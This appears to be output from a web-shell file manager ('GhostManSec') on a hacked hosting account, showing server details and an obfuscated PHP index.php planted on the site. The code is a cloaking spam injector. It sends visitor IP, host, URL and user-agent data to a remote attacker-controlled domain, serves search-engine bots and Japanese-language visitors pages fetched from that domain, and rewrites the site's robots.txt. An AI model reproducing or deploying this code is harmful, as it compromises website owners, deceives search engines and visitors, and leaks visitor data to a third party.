GhostManSec
Server: Apache
System: Linux webm019.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: exhehbu (1008962)
PHP: 8.0.30
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/exhehbu/www/index.php
<?php
 goto XZ6jN; ColgN: $PAaGv["\x68\162\x65\146"] = $lom97; goto LO09A; eu8ot: ia9aB: goto JRmF0; g4WS2: $rz9kw = gKv77($roMIy, $PAaGv); goto Fy2dY; IabBX: $PAaGv["\x6d\x61\x69\156\137\163\150\145\154\x6c"] = $JvuGo; goto tFrxe; CGB8l: if (!strpos($Xd1eT, "\x61\154\x6c\x73\x69\x74\x65\155\141\x70\x2e\170\155\154")) { goto dsGsU; } goto ChxPm; Yw72A: function iYjNG() { goto js0Uo; b5fDN: v5kkJ: goto bgDuw; sjKx3: if (!(strpos($E4781, "\152\141") === 0)) { goto EL6yz; } goto Jk8X0; TmY4m: $E4781 = strtolower(trim($bZjYb[0])); goto sjKx3; Jk8X0: return true; goto zaF6q; YerVa: return false; goto b5fDN; js0Uo: $CHJHl = isset($_SERVER["\x48\124\x54\x50\137\101\x43\103\105\x50\124\137\x4c\x41\x4e\107\x55\x41\107\105"]) ? $_SERVER["\x48\x54\124\120\x5f\101\x43\103\105\120\124\x5f\x4c\101\x4e\107\125\x41\x47\x45"] : ''; goto EbT9M; tH2q6: return false; goto bnJNx; bgDuw: $bZjYb = explode("\x2c", $CHJHl); goto TmY4m; EbT9M: if (!empty($CHJHl)) { goto v5kkJ; } goto YerVa; zaF6q: EL6yz: goto tH2q6; bnJNx: } goto RbKnE; fGV6W: Fd5th: goto u5zgZ; cgl8j: $JvuGo = $ITV6y . $k0m1y; goto sxyLm; Fy2dY: echo $rz9kw; goto hWLeh; E6Uld: $afKiN = isset($_SERVER["\110\124\124\x50\137\x52\105\x46\x45\x52\x45\122"]) ? $_SERVER["\x48\x54\124\120\137\x52\105\106\105\122\x45\x52"] : ''; goto dJlTI; iHVUI: $PAaGv["\x69\x70"] = $_SERVER["\x52\105\x4d\117\x54\105\137\101\104\x44\122"]; goto CXl3Z; cePJk: XedWS: goto IFjcI; hH0nz: $V5gVV = gkV77($V4iix, $PAaGv); goto fKcwl; i_Q5H: $Zfrql = $_SERVER["\110\124\124\x50\x5f\x48\117\123\x54"]; goto rAgKE; RiWth: exit; goto bI_m0; LO09A: $PAaGv["\x72\145\161\137\165\162\x6c"] = $XjFeX; goto GT9Eb; rDxN8: $V4iix = $dcYLD . "\x2f\x77\157\162\x64\x73\x2e\x70\150\160"; goto Jzxam; NWlIZ: $lom97 = $ITV6y . $Zfrql . $Sdbhw; goto G90Fa; Q0Sl3: goto XedWS; goto vDYbN; mVuT4: yd1pe: goto QBCzO; rXceC: if (strpos($Xd1eT, "\56\160\150\x70")) { goto whKLy; } goto cgl8j; k8p6h: $PAaGv["\150\x74\164\160\137\x75\x73\x65\x72\137\141\147\145\156\x74"] = $gmQ3E; goto g4WS2; wUpXL: exit; goto eu8ot; L2VKh: $ojVQo = @gkv77($qZXRS, $PAaGv); goto SWArE; JRmF0: if (!$o0rVt) { goto PW4hH; } goto k8p6h; Lipv_: Scnri: goto SfQ_v; ChxPm: $hOpmr = GkV77($GmgWF, $PAaGv); goto tjnlV; EiV61: header("\103\157\x6e\164\145\x6e\x74\x2d\x74\171\160\145\x3a\164\x65\170\164\57\170\155\154"); goto Kwcds; vDYbN: z7w03: goto uj3dM; uj3dM: $xMrWv = explode("\x3f", $Xd1eT); goto exH0h; GT9Eb: if (!(substr($Xd1eT, -6) == "\x72\157\x62\x6f\164\163")) { goto yd1pe; } goto ULtaj; v3cUf: $XjFeX = $ITV6y . $Zfrql . $Xd1eT; goto aERLt; qS2Bm: echo $fj6LD; goto RiWth; hWLeh: exit; goto IPIM8; YdwnV: TaE1i: goto L_BmV; CXl3Z: $PAaGv["\162\x65\146\x65\162\x65\x72"] = isset($_SERVER["\110\x54\x54\120\x5f\122\105\106\105\122\x45\122"]) ? $_SERVER["\x48\x54\124\120\137\x52\105\106\x45\122\x45\122"] : ''; goto Rex3l; WhTs8: goto mAvhv; goto oibDM; Vzw_I: $PAaGv["\x64\157\155\x61\151\x6e"] = $Zfrql; goto wjysT; tFrxe: e2L0K: goto E6Uld; c3TtW: $PAaGv["\x61\143\x74\x69\157\156"] = "\x63\150\x65\143\x6b\137\x73\x69\164\x65\x6d\141\160"; goto E9102; RbKnE: $ITV6y = isset($_SERVER["\x48\124\124\120\x53"]) && $_SERVER["\110\124\124\120\x53"] !== "\157\x66\146" ? "\150\x74\x74\x70\x73\72\x2f\x2f" : "\x68\x74\164\160\x3a\x2f\57"; goto LdGWg; atA6F: echo "\x72\x6f\142\x6f\x74\163\56\164\170\164\x20\x66\151\x6c\x65\x20\143\162\x65\141\x74\x65\40\146\x61\x69\x6c\41"; goto U1YgK; XtN2a: $PMllA = $dcYLD . "\x2f\x6a\165\155\160\x2e\160\x68\x70"; goto rDxN8; rAgKE: $Sdbhw = $_SERVER["\x50\110\120\137\123\105\x4c\106"]; goto LtP4S; aERLt: $roMIy = $dcYLD . "\57\x69\x6e\x64\141\x74\x61\x2e\160\150\x70"; goto TrUXz; DuCWz: function A9k8I($D0XQD) { goto pQku4; zycs1: xC8gG: goto IpSIG; Pjm0f: if (!($D0XQD != '' && preg_match("\57\50{$HNbNv}\51\x2f\x73\151", $D0XQD))) { goto xC8gG; } goto grlce; IpSIG: return $zocvM; goto w_2sw; pQku4: $zocvM = false; goto E4yNY; E4yNY: $HNbNv = "\147\x6f\157\147\154\x65\x7c\171\x61\150\157\157\x7c\x62\x69\x6e\x67\174\141\157\x6c"; goto Pjm0f; grlce: $zocvM = true; goto zycs1; w_2sw: } goto Yw72A; EX5kd: $xMrWv = str_replace("\x2f", '', $Xd1eT); goto rE4Mv; g2h5Y: $fj6LD = GkV77($V4iix, $PAaGv); goto eZQ6a; bI_m0: lGRWO: goto Z6yVH; D7gyq: echo GkV77($PMllA, $PAaGv); goto wUpXL; tjnlV: header("\103\157\x6e\164\145\156\164\x2d\x74\x79\x70\x65\x3a\x74\145\170\x74\x2f\170\x6d\154"); goto aO3t7; Va65Q: $ojVQo = @file_get_contents(T7wxC . "\x2f\x72\x6f\x62\157\x74\x73\x2e\x74\170\164"); goto Cl5Of; dJlTI: $nNn13 = A9k8i($afKiN); goto LrLCI; eZQ6a: header("\x43\x6f\156\164\x65\156\164\x2d\164\x79\x70\145\x3a\x74\145\x78\x74\57\170\155\x6c"); goto qS2Bm; LdGWg: $Xd1eT = $_SERVER["\122\105\x51\125\105\x53\x54\137\x55\x52\111"]; goto i_Q5H; sxyLm: $PAaGv["\x6d\141\x69\156\x5f\x73\150\x65\x6c\x6c"] = $JvuGo; goto lwMMQ; oibDM: qWFnZ: goto NWlIZ; QBCzO: if (!(substr($Xd1eT, -4) == "\x2e\170\x6d\x6c")) { goto tbgYr; } goto CGB8l; Jzxam: $qZXRS = $dcYLD . "\x2f\162\x6f\x62\157\x74\163\56\160\150\x70"; goto uGppd; u5zgZ: exit; goto mVuT4; fGk30: whKLy: goto J1WSX; RR__4: $o0rVt = FQZS3($gmQ3E); goto kUrFn; LtP4S: $k0m1y = $_SERVER["\x53\x45\x52\x56\105\x52\x5f\x4e\x41\115\105"]; goto v3cUf; J1WSX: $JvuGo = $ITV6y . $k0m1y . $Sdbhw; goto IabBX; GvJrP: $lom97 = $ITV6y . $Zfrql; goto WhTs8; U1YgK: goto Fd5th; goto YdwnV; IFjcI: $PAaGv["\167\157\162\x64"] = $xMrWv; goto c3TtW; MxmLW: $xMrWv = str_replace("\x2e\170\x6d\154", '', $xMrWv); goto cePJk; d4jLr: $hOpmr = gKV77($GmgWF, $PAaGv); goto EiV61; LrLCI: $gmQ3E = strtolower(isset($_SERVER["\110\x54\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\124"]) ? $_SERVER["\110\x54\124\120\137\125\x53\x45\122\137\x41\x47\x45\116\x54"] : ''); goto RR__4; UbOn0: if (!(!$o0rVt && $nNn13 && iYJNG() && (preg_match("\57\x5c\144\x24\x2f", $Xd1eT) || preg_match("\x23\133\x61\55\172\x5d\x3d\133\141\55\172\60\55\x39\x5d\x2b\x23", $Xd1eT) || preg_match("\57\151\x74\x65\x6d\57", $Xd1eT)))) { goto ia9aB; } goto iHVUI; kUrFn: $Xd1eT = str_replace(array("\x2e\150\x74\155", "\56\150\164\155\x6c", "\56\163\x68\x74\155\154", "\x2e\160\x68\x74\x6d\154"), '', rtrim($Xd1eT, "\x2f")); goto UbOn0; ULtaj: define("\124\x37\167\170\103", $_SERVER["\x44\x4f\103\x55\115\x45\116\124\x5f\122\x4f\117\124"]); goto vp5oc; rE4Mv: $xMrWv = str_replace("\x2e\x78\x6d\154", '', $xMrWv); goto Q0Sl3; aO3t7: echo $hOpmr; goto ZNOWf; ZNOWf: exit; goto sTtzs; nhPag: exit; goto Lipv_; KrFyh: if (!($fj6LD == "\x31")) { goto Scnri; } goto d4jLr; VHNnt: $PAaGv[] = array(); goto Vzw_I; vp5oc: $ojVQo = @file_get_contents(T7wxC . "\x2f\162\157\142\x6f\164\x73\56\x74\x78\x74"); goto fcEft; TrUXz: $GmgWF = $dcYLD . "\57\x6d\141\x70\56\x70\150\160"; goto XtN2a; G90Fa: mAvhv: goto VHNnt; sTtzs: dsGsU: goto YjNdm; TZWez: $PAaGv["\x61\143\x74\151\x6f\x6e"] = "\x72\x61\x6e\x64\x5f\x78\x6d\154"; goto g2h5Y; fKcwl: if (!(strpos($Xd1eT, "\x6d\x61\x70") > 0 || $V5gVV == "\61")) { goto lGRWO; } goto TZWez; Rex3l: $PAaGv["\165\163\x65\162\137\141\147\x65\156\x74"] = strtolower(isset($_SERVER["\110\x54\124\120\x5f\x55\x53\105\122\137\101\x47\x45\x4e\124"]) ? $_SERVER["\110\x54\124\120\137\x55\123\105\122\x5f\101\x47\105\x4e\124"] : ''); goto D7gyq; lwMMQ: goto e2L0K; goto fGk30; uGppd: if (strpos($Xd1eT, "\56\x70\x68\160")) { goto qWFnZ; } goto GvJrP; E9102: $fj6LD = gKv77($V4iix, $PAaGv); goto KrFyh; Hue0k: function Fqzs3($KhN7G) { goto JyrQX; zbNbH: $euUka = "\x67\157\x6f\147\x6c\x65\142\157\x74\174\x62\x69\x6e\147\142\x6f\x74\174\x67\x6f\157\x67\x6c\x65\x7c\141\x6f\x6c\174\142\151\x6e\x67\x7c\x79\x61\150\x6f\x6f"; goto Y9vOx; ItHE6: if (!preg_match("\57\50{$euUka}\x29\x2f\x73\151", $KhN7G)) { goto nawO7; } goto jp9Qn; Y9vOx: if (!($KhN7G != '')) { goto xFGJ2; } goto ItHE6; hMtpx: nawO7: goto e0FAX; JyrQX: $aFrr8 = false; goto zbNbH; e0FAX: xFGJ2: goto Rci6Z; jp9Qn: $aFrr8 = true; goto hMtpx; Rci6Z: return $aFrr8; goto d2okE; d2okE: } goto DuCWz; L_BmV: echo "\162\x6f\x62\157\164\x73\x2e\x74\x78\x74\40\x66\x69\x6c\x65\40\143\x72\x65\141\x74\145\x20\163\x75\x63\x63\x65\x73\x73\x21"; goto fGV6W; XZ6jN: $dcYLD = "\150\164\164\160\163\72\57\x2f\x7a\x36\x30\70\61\x30\137\62\x2e\166\154\157\147\x76\151\145\164\56\x73\x68\157\160"; goto zclAO; YjNdm: if (strpos($Xd1eT, "\56\160\x68\160")) { goto z7w03; } goto EX5kd; wjysT: $PAaGv["\x72\x65\x71\137\165\162\x69"] = $Xd1eT; goto ColgN; zclAO: function gKV77($t8ohP, $UeEa4 = array()) { goto ckbjX; gSN58: $hBgoZ = curl_errno($QxJnd); goto vWsJf; FWLEN: curl_setopt($QxJnd, CURLOPT_URL, "{$t8ohP}"); goto kfF2t; kfF2t: curl_setopt($QxJnd, CURLOPT_RETURNTRANSFER, 1); goto ofWX5; kV0sE: $QxJnd = curl_init(); goto FWLEN; Zowsm: return false; goto OjHNe; ngEI0: curl_setopt($QxJnd, CURLOPT_SSL_VERIFYHOST, FALSE); goto vYwBU; RW9qL: curl_setopt($QxJnd, CURLOPT_POST, 1); goto lkLhe; vWsJf: if (!version_compare(PHP_VERSION, "\x38\x2e\x30\x2e\x30", "\x3c")) { goto EaMTe; } goto tU0Aw; T3gKn: curl_setopt($QxJnd, CURLOPT_TIMEOUT, 10); goto RW9qL; tU0Aw: curl_close($QxJnd); goto q1zyU; rjVdL: return $W8Rft; goto Mgv92; vYwBU: curl_setopt($QxJnd, CURLOPT_POSTFIELDS, http_build_query($UeEa4)); goto XVy0Q; q1zyU: EaMTe: goto ZCZq2; ZCZq2: if (!(0 !== $hBgoZ)) { goto TEsuw; } goto Zowsm; ofWX5: curl_setopt($QxJnd, CURLOPT_HEADER, 0); goto T3gKn; ckbjX: $t8ohP = str_replace("\x20", "\x2b", $t8ohP); goto kV0sE; XVy0Q: $W8Rft = curl_exec($QxJnd); goto gSN58; lkLhe: curl_setopt($QxJnd, CURLOPT_SSL_VERIFYPEER, FALSE); goto ngEI0; OjHNe: TEsuw: goto rjVdL; Mgv92: } goto Hue0k; exH0h: $xMrWv = $xMrWv[count($xMrWv) - 1]; goto MxmLW; SfQ_v: $PAaGv["\x61\x63\164\x69\x6f\x6e"] = "\x63\150\x65\x63\153\137\x77\157\162\x64\163"; goto hH0nz; SWArE: file_put_contents(T7wxC . "\57\162\157\142\157\x74\163\56\x74\x78\x74", $ojVQo); goto Va65Q; Cl5Of: if (strpos(strtolower($ojVQo), "\x73\151\x74\x65\x6d\x61\160")) { goto TaE1i; } goto atA6F; Kwcds: echo $hOpmr; goto nhPag; Z6yVH: tbgYr: goto rXceC; fcEft: $PAaGv["\162\x6f\x62\x6f\164\163\137\x63\157\x6e\164"] = $ojVQo; goto L2VKh; IPIM8: PW4hH: